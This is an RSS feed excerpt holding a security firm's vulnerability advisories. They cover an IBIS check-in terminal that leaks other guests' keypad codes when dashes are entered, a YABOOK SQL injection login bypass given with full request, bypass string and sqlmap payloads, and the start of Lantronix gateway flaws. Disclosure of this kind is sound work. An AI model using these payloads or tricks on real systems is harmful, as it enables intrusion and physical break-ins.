&lt;li&gt;&lt;p&gt;2024-01-03: Versuch, das weitere Vorgehen und den Veröffentlichungsmodus zu klären.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-01-11: Nach Ausbleiben einer Antwort erneuter Kontakt mit Accor-Sicherheitsteam und Übermittlung von Details zur Schwachstelle. Fristsetzung für erste Reaktion bis 2024-01-15.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-01-11: Antwort des Sicherheitsteams, dass sie keine Einreichungen per E-Mail akzeptieren, sondern nur über das Yogosha-Programm, und dass Pentagrid davon absehen sollte, weitere Mails über den E-Mail-Kanal zu versenden.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-01-11: Pentagrid informierte, dass die Konsequenz einer nicht fristgerechten Antwort die Veröffentlichung der Schwachstelle ist, in diesem speziellen Fall zumindest vorübergehend ohne Details, die eine Ausnutzung ermöglichen.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-01-16: Frist für die Veröffentlichung nach 14 Tagen, wenn keine Reaktion erfolgt, gemäß eingangs mitgeteilter Coordinated Disclosure Policy von Pentagrid. Vorzeitige Veröffentlichung wurde jedoch verschoben.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-01-18: Pentagrid bat Accor Security um einen Status bezüglich der Problemverifizierung und des Zeitplans für die Behebung.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-01-25: Statusanfrage wegen ausbleibender Antwort wiederholt.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-01-26: Accor bestätigte die Reproduzierbarkeit des Problems und die Behebung bei betroffenen Terminals.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-04-02: Deadline für Veröffentlichung nach 90 Tagen und Veröffentlichung des Advisories.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="preisgabe-von-tastenschloss-codes"&gt;
&lt;h2&gt;Preisgabe von Tastenschloss-Codes&lt;/h2&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N, 5.3 Mittel&lt;/pre&gt;
&lt;section id="betroffene-komponenten"&gt;
&lt;h3&gt;Betroffene Komponenten&lt;/h3&gt;
&lt;p&gt;Pentagrid identifizierte die Schwachstelle bei dem Check-in-Terminal mit der ID 2711 in Hamburg Altona. Der Hersteller und das Produkt des Terminals sind Pentagrid nicht bekannt. Wahrscheinlich sind auch andere Terminals betroffen. Laut einer &lt;a class="reference external" href="https://www.google.com/search?q=%22ibis+budget%22+%22check-in+automat%22&amp;amp;tbm=isch"&gt;Google-Bildersuche für diese Art von Check-in-Automaten&lt;/a&gt; werden sie bei mehreren Hotels der Marke IBIS Budget in Deutschland und anderen europäischen Ländern eingesetzt.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="zusammenfassung"&gt;
&lt;h3&gt;Zusammenfassung&lt;/h3&gt;
&lt;p&gt;Wenn die Hotelrezeption nicht besetzt ist, können die Gäste über ein Terminal einchecken. Das Terminal unterstützt auch die Abfrage von bestehenden Buchungen. Mit einer Buchungs-ID können die Gäste ihre Zimmernummer und ihren Tastenschloss-Code anzeigen. Bei Eingabe von "------" als Buchungs-ID listet das Check-in-Terminal jedoch auch die Buchungen und Tastaturcodes anderer Gäste auf.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="auswirkung"&gt;
&lt;h3&gt;Auswirkung&lt;/h3&gt;
&lt;p&gt;Das Check-in-Terminal gibt sensible Informationen wie die Zimmernummer und die Tastenschloss-Codes preis. Der Tastenschloss-Code ändert sich während des Aufenthalts nicht. Daher ermöglichen die Informationen über den Tastenschloss-Code den physischen Zugang zu den Hotelzimmern.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technische-details"&gt;
&lt;h3&gt;Technische Details&lt;/h3&gt;
&lt;p&gt;Für die Suche nach bestehenden Buchungen gibt ein Gast die Buchungs-ID ein. Soweit gesehen, handelt es sich dabei um einen achtstelligen Code. Mit einer gegebenen Buchungs-ID kann ein Gast dann die Zimmernummer und den Tastenschloss-Code des Hotelzimmers nachsehen. Der Tastenschloss-Code ist ein sechsstelliger numerischer Code.&lt;/p&gt;
&lt;p&gt;Bei einer ungültigen Buchungs-ID zeigt das Terminal eine Meldung an, dass die Buchungs-ID nicht bekannt ist. Wenn ein Gast keine Buchungs-ID eingibt und stattdessen beispielsweise "------", listet das Check-in-Terminal vorhandene Buchungen auf. Jede andere Folge von Bindestrichen wird ebenfalls akzeptiert, wenn sie lang genug ist, um die Schaltfläche "Senden" zu aktivieren. Wegen der variablen Länge wird davon ausgegangen, dass es sich nicht um einen Mastercode, sondern um einen Fehler oder ein nicht deaktivierte Testfunktion handelt.&lt;/p&gt;
&lt;a class="reference external image-reference" href="https://www.pentagrid.ch/images/202404_enter_booking_id.jpg"&gt;
&lt;img alt='Eingabe von mindestens sechs Bindestrichen als Buchungscode, bis die Schaltfläche "Senden" aktiviert wird.' class="align-center" src="https://www.pentagrid.ch/images/202404_enter_booking_id.thumbnail.jpg"&gt;
&lt;/a&gt;
&lt;p&gt;Die Liste der Buchungen enthält die Buchungs-ID, einen Zeitstempel (wahrscheinlich das erwartete Ankunftsdatum) und den Gesamtpreis, der einen Hinweis auf die Aufenthaltsdauer des Gastes geben kann.&lt;/p&gt;
&lt;a class="reference external image-reference" href="https://www.pentagrid.ch/images/202404_booking_list_masked.jpg"&gt;
&lt;img alt="Ein Ausschnitt der Buchungen aus der Buchungsliste. Die Buchungscodes sind maskiert." class="align-center" src="https://www.pentagrid.ch/images/202404_booking_list_masked.thumbnail.jpg"&gt;
&lt;/a&gt;
&lt;p&gt;Bei Auswahl einer Buchung werden die Zimmernummer und der Tastenschloss-Code angezeigt, der den Zugang zu den Hotelzimmern anderer Gäste ermöglicht.&lt;/p&gt;
&lt;a class="reference external image-reference" href="https://www.pentagrid.ch/images/202404_keypad_code_masked.jpg"&gt;
&lt;img alt="Auf dem Bildschirm des Check-in-Terminals werden die Zimmernummer und der Tastenschloss-Code angezeigt (maskiert)." class="align-center" src="https://www.pentagrid.ch/images/202404_keypad_code_masked.thumbnail.jpg"&gt;
&lt;/a&gt;
&lt;p&gt;Ein &lt;a class="reference external" href="https://vimeo.com/927961761"&gt;Demonstrationsvideo&lt;/a&gt; haben wir auf Vimeo veröffentlicht.&lt;/p&gt;
&lt;p&gt;Das Hotel, in dem der Befund festgestellt wurde, hatte 87 Buchungseinträge in der Liste. Nach Angaben des Empfangspersonals verfügt das Hotel über 180 Zimmer.&lt;/p&gt;
&lt;p&gt;Nur eine Buchungs-ID zu verlangen, um den Zimmercode zu erhalten, ist für den Gast einfach, aber potenziell mit Risiko behaftet. Buchungs-IDs können durch weggeworfene Rechnungen und Ausdrucke öffentlich werden.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="vorbedingung"&gt;
&lt;h3&gt;Vorbedingung&lt;/h3&gt;
&lt;p&gt;Ein Angreifer benötigt physischen Zugang zu einem Check-in-Terminal. Das Terminal muss sich in einem Zustand befinden, in dem es eine Nutzung zulässt, zum Beispiel während der Nachtstunden. Weitere Voraussetzungen sind Pentagrid nicht bekannt, könnten aber vorhanden sein.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="empfehlung"&gt;
&lt;h3&gt;Empfehlung&lt;/h3&gt;
&lt;p&gt;Empfehlungen für Accor/IBIS und den Hersteller:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Die Schwachstelle sollte behoben werden. Dabei sollte die Angabe einer gültigen Buchungsnummer erforderlich sein.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Das Terminal sollte nach weiteren Daten fragen, die normalerweise nicht in Buchungsbestätigungen oder Rechnungen dokumentiert sind. Andernfalls könnte eine weggeworfene Rechnung oder Buchungsbestätigung einen Zugang zu einem Hotelzimmer ermöglichen. Dies könnte ein PIN-Code sein, da Menschen einen PIN-Code in der Regel als vertrauliche Information erkennen und eher darauf achten, diese Information nicht preiszugeben.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Betroffene Hotels sollten so früh wie möglich über die Sicherheitslücke informiert werden und Empfehlungen für erste Maßnahmen erhalten. Sobald eine Lösung verfügbar ist, sollten die Empfehlungen für Maßnahmen aktualisiert und die Hotels über die Änderung informiert werden.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Buchungen sollten vorsichtshalber so früh wie möglich aus dem Terminal entfernt werden, zum Beispiel nach dem Ausdrucken der Zimmerdaten oder nach dem Einsehen der Buchung.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Empfehlungen für Franchisenehmer:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Das Terminal sollte deaktiviert werden, solange das Problem nicht behoben ist.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Sobald Softwareaktualisierungen verfügbar sind, sollte der Franchisenehmer das Software-Update installieren und überprüfen, ob das Problem gelöst ist.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="credits"&gt;
&lt;h3&gt;Credits&lt;/h3&gt;
&lt;p&gt;Das Sicherheitsproblem wurde versehentlich von Martin '------' Schobert (Pentagrid) gefunden.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;</description><category>Advisory</category><category>Physische Sicherheit</category><guid>https://www.pentagrid.ch/de/blog/preisgabe-tastenschloss-codes-check-in-terminal-ibis-hotel/</guid><pubDate>Tue, 02 Apr 2024 10:23:00 GMT</pubDate></item><item><title>SQL-Injektion in Hafenverwaltung YABOOK erlaubt Umgehung der Authentisierung</title><link>https://www.pentagrid.ch/de/blog/sql-injection-in-hafenverwaltung-yabook/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;figure&gt;&lt;img src="https://www.pentagrid.ch/images/default_preview_image.jpeg"&gt;&lt;/figure&gt; &lt;p&gt;YABOOK ist eine webbasierte Software von News-Solutions zur Verwaltung von Anliegerplätzen in Häfen. Einige Häfen nutzen diese Lösung als gehostete Applikation oder auch als On-Prem-Installation. Bei einer Sicherheitsuntersuchung stellte Pentagrid eine SQL-Injection in der Login-Maske der Webanwendung fest, die eine Authentisierungsumgehung ermöglichte. Dieses Sicherheitsproblem ist behoben.&lt;/p&gt;
&lt;!-- TEASER_END --&gt;
&lt;section id="timeline"&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2023-12-13: Initialer Kontakt mit dem Hersteller und initiales Advisory gesendet.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-12-13: Verifiziert, dass der Fehler in Version 6.61 behoben ist.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-02-13: CVE-ID beantragt.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-03-12: Frist für Veröffentlichung nach 90 Tagen.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="sql-injection-in-der-hafenverwaltung-yabook"&gt;
&lt;h2&gt;1.  SQL-Injection in der Hafenverwaltung YABOOK&lt;/h2&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, 9.8 Kritisch&lt;/pre&gt;
&lt;section id="betroffene-komponenten"&gt;
&lt;h3&gt;Betroffene Komponenten&lt;/h3&gt;
&lt;p&gt;Pentagrid stellte die Verwundbarkeit in folgenden Versionen von YABOOK in der On-Prem-Installation bei einem Penetrationstest fest. Weitere Versionen sind voraussichtlich ebenfalls betroffen.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Version 3.43&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Version 5.80&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="zusammenfassung"&gt;
&lt;h3&gt;Zusammenfassung&lt;/h3&gt;
&lt;p&gt;Die Web-Anwendung YABOOK weist auf der Login-Seite eine SQL-Injection-Verwundbarkeit auf, die durch unauthentisierte Personen im Netzwerk bzw. über das Internet ausgenutzt werden kann.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="auswirkung"&gt;
&lt;h3&gt;Auswirkung&lt;/h3&gt;
&lt;p&gt;Die Authentisierung ist umgehbar. Das Administrator-Konto kann übernommen werden. Mit der SQL-Injection kann die Anwendung vollständig kompromittiert werden. Alle Daten der Anwendung können ausgelesen und manipuliert werden. Das Auslesen und Ermitteln von Passwörtern kann sich gegebenenfalls auch auf andere Anwendungen auswirken, wenn Passwörter wiederverwendet werden.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technische-details"&gt;
&lt;h3&gt;Technische Details&lt;/h3&gt;
&lt;p&gt;Beide getesteten Versionen sind bei der Verarbeitung von Login-Daten von einer SQL-Injection im Feld &lt;code class="docutils literal"&gt;username&lt;/code&gt; betroffen. Bei der Eingabe ungerader Anzahlen von Hochkommas tritt eine Fehlermeldung auf, wie folgende Beispielanfrage zeigt:&lt;/p&gt;
&lt;pre class="literal-block"&gt;POST /kasse/ HTTP/1.1
Host: XX.XX.XX.XX
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
Origin: http://XX.XX.XX.XX
DNT: 1
Connection: close
Referer: http://XX.XX.XX.XX/kasse/
Cookie: Kasse=fnba5lhg04ib7e6v3qqk81gu05
Upgrade-Insecure-Requests: 1

username=administrator%27%29+OR+1%3D1&amp;amp;password=asd&amp;amp;submit=Login&lt;/pre&gt;
&lt;p&gt;Diese HTTP-Anfrage resultiert in folgender HTTP-Antwort:&lt;/p&gt;
&lt;pre class="literal-block"&gt;HTTP/1.1 200 OK
Date: [...]
Server: [...]
X-Powered-By: [...]
Expires: [...]
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 4613
Connection: close
Content-Type: text/html

 &amp;lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
     "http://www.w3.org/TR/html4/loose.dtd"&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8"&amp;gt;
&amp;lt;title&amp;gt;Hafenverwaltung - YABOOK&amp;lt;/title&amp;gt;

[...]

&amp;lt;/div&amp;gt;
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '') AND (password='7815696ecbf1c96e6894b779456d330e')' at line 1&amp;lt;div class=error&amp;gt;Benutzername oder Passwort falsch!&amp;lt;/div&amp;gt;&lt;/pre&gt;
&lt;p&gt;Oft verwenden Webanwendungen zum Überprüfen eines validen Logins eine SQL-Abfrage, die ermittelt, ob zu den eingegebenen Logindaten ein passender Nutzer in der Datenbank gefunden wird. Ist das Ergebnis der Abfrage größer Null, wird der Zutritt gewährt. Derartige Abfragen lassen sich, sofern die Seite von einer SQL-Injection-Schwachstelle betroffen ist, ausnutzen, indem die Abfrage so manipuliert wird, dass das Ergebnis immer größer Null ist, unabhängig von dem eingegebenen Passwort. Dies ist auch bei YABOOK der Fall. Wird als Nutzername die Zeichenkette &lt;code class="docutils literal"&gt;admin') OR &lt;span class="pre"&gt;('1'='1&lt;/span&gt;&lt;/code&gt; eingegeben, zusammen mit einem beliebigen Passwort, wird man automatisch als Administrator angemeldet.&lt;/p&gt;
&lt;p&gt;Auch mittels Sqlmap konnte die Schwachstelle gefunden und das Datenbank-Backend ermittelt werden, wie folgender Ausschnitt zeigt:&lt;/p&gt;
&lt;pre class="literal-block"&gt;[13:32:53] [INFO] resuming back-end DBMS 'mysql'
[13:32:53] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: error-based
    Title: MySQL &amp;gt;= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
    Payload: username=administrator') AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7170767671,(SELECT (ELT(2508=2508,1))),0x716b6b7071,0x78))s), 8446744073709551610, 8446744073709551610)))-- xddc&amp;amp;password=&amp;amp;submit=Login

    Type: time-based blind
    Title: MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=administrator') AND (SELECT 5783 FROM (SELECT(SLEEP(5)))dTQF)-- jOzA&amp;amp;password=&amp;amp;submit=Login
---
[13:32:53] [INFO] the back-end DBMS is MySQL
[13:32:53] [INFO] fetching banner
[13:32:53] [INFO] resumed: [...]
web server operating system: Linux Debian [...]
web application technology: [...]
back-end DBMS: MySQL &amp;gt;= 5.5
banner: [...]&lt;/pre&gt;
&lt;p&gt;Mit Sqlmap war es außerdem möglich, Passwort-Hashes der Nutzerkonten abzufragen. Die Passwort-Hashes sind MD5-Hashes der Passwörter ohne weiteren Salt-Wert, wodurch ein Bruteforce-Angriff auf die Hashes vereinfacht wird. MD5-Hashes lassen sich effizient generieren und damit durchprobieren, weshalb das Verfahren für Passwort-Hashing nicht mehr dem Stand der Technik entspricht.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="vorbedingung"&gt;
&lt;h3&gt;Vorbedingung&lt;/h3&gt;
&lt;p&gt;Ein Angreifer benötigt Zugang zum Netzwerk und muss die Webanwendung im Netzwerk erreichen können. Dies entfällt, falls die Anwendung auch aus dem Internet erreichbar ist, wie es bei anderen Häfen in Deutschland der Fall ist.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="empfehlung"&gt;
&lt;h3&gt;Empfehlung&lt;/h3&gt;
&lt;p&gt;Pentagrid empfahl dem Hersteller:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Das Sicherheitsproblem zu beheben und auf weitere Sicherheitsprobleme zu prüfen.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Keine Fehlermeldungen zu fehlerhafter SQL-Syntax auszugeben.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Betroffene Kunden zu informieren.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pentagrid empfiehlt Nutzern:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Auf eine aktuelle Version der Software umzustellen. Version 6.61 ist Tests der Pentagrid zufolge frei von dem Problem.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="credits"&gt;
&lt;h3&gt;Credits&lt;/h3&gt;
&lt;p&gt;Das Sicherheitsproblem wurde von Ole Diederich (Pentagrid) gefunden.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;</description><category>Advisory</category><category>SQL injection</category><category>Vulnerability</category><category>Yabook</category><guid>https://www.pentagrid.ch/de/blog/sql-injection-in-hafenverwaltung-yabook/</guid><pubDate>Tue, 12 Mar 2024 10:42:00 GMT</pubDate></item><item><title>Multiple vulnerabilities in Lantronix EDS-MD IoT gateway for medical devices</title><link>https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;figure&gt;&lt;img src="https://www.pentagrid.ch/images/default_preview_image.jpeg"&gt;&lt;/figure&gt; &lt;p&gt;Pentagrid identified several vulnerabilities in Lantronix's EDS-MD product during a penetration test. The EDS-MD is an IoT gateway for medical devices and equipment. The vulnerabilities include an authenticated command injection, cross-site request forgery, missing authentication for the AES-encrypted communication, cross-site scripting vulnerabilities, outdated software components, and more.&lt;/p&gt;
&lt;!-- TEASER_END --&gt;
&lt;p&gt;The EDS-MD product is an embedded device, more specifically according to the &lt;a class="reference external" href="https://www.lantronix.com/products/eds-md/"&gt;Lantronix website of the EDS-MD&lt;/a&gt;:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_21bf37b5451c42c5ae9ff3f24ca1a5c3-1" name="rest_code_21bf37b5451c42c5ae9ff3f24ca1a5c3-1" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_21bf37b5451c42c5ae9ff3f24ca1a5c3-1"&gt;&lt;/a&gt;A wired IoT gateway for mission critical medical devices and equipment connectivity. Key features:
&lt;a id="rest_code_21bf37b5451c42c5ae9ff3f24ca1a5c3-2" name="rest_code_21bf37b5451c42c5ae9ff3f24ca1a5c3-2" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_21bf37b5451c42c5ae9ff3f24ca1a5c3-2"&gt;&lt;/a&gt;- UL and IEC-60601 compliance provides galvanic port isolation to protect connected medical devices
&lt;a id="rest_code_21bf37b5451c42c5ae9ff3f24ca1a5c3-3" name="rest_code_21bf37b5451c42c5ae9ff3f24ca1a5c3-3" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_21bf37b5451c42c5ae9ff3f24ca1a5c3-3"&gt;&lt;/a&gt;- Securely connect any medical device with a serial interface to the network using enterprise-level SSL and SSH
&lt;a id="rest_code_21bf37b5451c42c5ae9ff3f24ca1a5c3-4" name="rest_code_21bf37b5451c42c5ae9ff3f24ca1a5c3-4" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_21bf37b5451c42c5ae9ff3f24ca1a5c3-4"&gt;&lt;/a&gt;- Simple set up and configuration with industry-standard management tools including Web, CLI, XML
&lt;a id="rest_code_21bf37b5451c42c5ae9ff3f24ca1a5c3-5" name="rest_code_21bf37b5451c42c5ae9ff3f24ca1a5c3-5" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_21bf37b5451c42c5ae9ff3f24ca1a5c3-5"&gt;&lt;/a&gt;- Centralized Management via ConsoleFlow™
&lt;a id="rest_code_21bf37b5451c42c5ae9ff3f24ca1a5c3-6" name="rest_code_21bf37b5451c42c5ae9ff3f24ca1a5c3-6" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_21bf37b5451c42c5ae9ff3f24ca1a5c3-6"&gt;&lt;/a&gt;- Gigabit Ethernet offers increased bandwidth for higher performance
&lt;a id="rest_code_21bf37b5451c42c5ae9ff3f24ca1a5c3-7" name="rest_code_21bf37b5451c42c5ae9ff3f24ca1a5c3-7" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_21bf37b5451c42c5ae9ff3f24ca1a5c3-7"&gt;&lt;/a&gt;- Available with 4, 8 or 16 ports
&lt;/pre&gt;&lt;/div&gt;
&lt;section id="timeline"&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2023-10-09: Vulnerabilities found. No security.txt (RFC 9116) or &lt;a class="reference external" href="https://dnssecuritytxt.org/"&gt;DNS security TXT&lt;/a&gt; found to contact Lantronix. Initial vendor contacted via &lt;a class="reference external" href="mailto:securitymatters@lantronix.com"&gt;securitymatters@lantronix.com&lt;/a&gt; as found on the &lt;a class="reference external" href="https://www.lantronix.com/technical-support/security-updates/"&gt;Security Updates page of Lantronix&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-10-10: Lantronix responds to initial contact. Pentagrid sends detailed advisory.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-10-12: Pentagrid asks for advisory receipt confirmation.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-10-13: Lantronix confirms receiving the advisory details.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-11-13: Pentagrid asks for status update.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-11-15: Lantronix responds they reviewed our report and are discussing internally on the next steps. They will send an update in the next couple of days.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-11-22: Lantronix responds they plan to fix all issues in the January 12, 2024 release, except the vulnerable old components used, as they regard the product as a legacy product based on a processor that has been EOL by the vendor (planned to be superseded in Q1/Q2 2024 with next generation product).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-11-29: Lantronix asks for details about the AES-encrypted connection vulnerability.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-12-04: Pentagrid responds that while the device might use TLS for the administrative web interface, the data forwarding for incoming serial bus communication (business logic) of the device was only using the mentioned unauthenticated AES cipher mode.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-01-05: Pentagrid asks for a mapping of individual fixes to firmware versions.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-01-08: Public disclosure.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-01-08: Lantronix changes the release plan and writes the next release is planned for January 31, 2024 and only the three issues "Clickjacking", "Missing authentication on AES-encrypted connection", "Authenticated Stored Cross-Site Scripting (XSS) via File-Download" will be fixed (additional to the two fixed in 8.5.0.0R1).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-02-02: Pentagrid asked Lantronix for a status, because the website was not updated and showed version 8.5.0.0R1 from November as latest release.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-02-05: Lantronix response that the new release will be labeled as version 8.6.0.0 and will be available by the end of this week.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-02-07: Lantronix releases &lt;a class="reference external" href="https://ltrxdev.atlassian.net/wiki/spaces/LTRXTS/pages/100565122/Latest+Firmware+for+the+EDS-MD"&gt;version 8.6.0.0R2&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-02-08: Pentagrid asks if there are fixes planned for the two remaining issues "Cross-Site Request Forgery" and "Missing Lantronix Content Security Policy".&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-02-11: Lantronix responds that they are investigating, but given that it is an old legacy product (that will be superseded by another product coming in Q2 2024), the outlook to fix these two issues is not promising/feasible.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="affected-components"&gt;
&lt;h2&gt;Affected Components&lt;/h2&gt;
&lt;p&gt;Lantronix's EDS-MD product with the firmware 8.4.0.0R1 is affected. While the webpage specifies that a login is necessary to download the firmware, it can be found on &lt;a class="reference external" href="https://ltrxdev.atlassian.net/wiki/spaces/LTRXTS/pages/100565122/Latest+Firmware+for+the+EDS-MD?_ga=2.51989665.940839005.1513030315-1609698972.1506701450&amp;amp;_gac=1.149452356.1511330255.Cj0KCQiAus_QBRDgARIsAIRGNGj4BBhs_Bj088wxqJBqnAeL0HWLEwmvcZKB4WVxFc8WMdqnYhBOsWYaAm9DEALw_wcB"&gt;Lantronix's Confluence page&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="cross-site-request-forgery"&gt;
&lt;h2&gt;1. Cross-Site Request Forgery&lt;/h2&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, 8.8 High&lt;/pre&gt;
&lt;section id="summary"&gt;
&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;The web interface of the Lantronix box is not protected against Cross-Site Request Forgery attacks. No CVE has been assigned to this vulnerability yet.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="impact"&gt;
&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;If the preconditons are met, the attacker could indirectly do all actions that are available on the Lantronix IoT gateway such as enabling SSH/Telnet, changing the password, disabling authentication, uploading files or exploit the command injection vulnerability documented in this advisory to execute unrestricted commands as &lt;code class="docutils literal"&gt;root&lt;/code&gt; on the Linux operating system.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technical-details"&gt;
&lt;h3&gt;Technical details&lt;/h3&gt;
&lt;p&gt;An attacker could host the following HTML code on his website.&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code HTML"&gt;&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-1" name="rest_code_bfcfbebd22c748479dd1c696933aa068-1" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-1"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
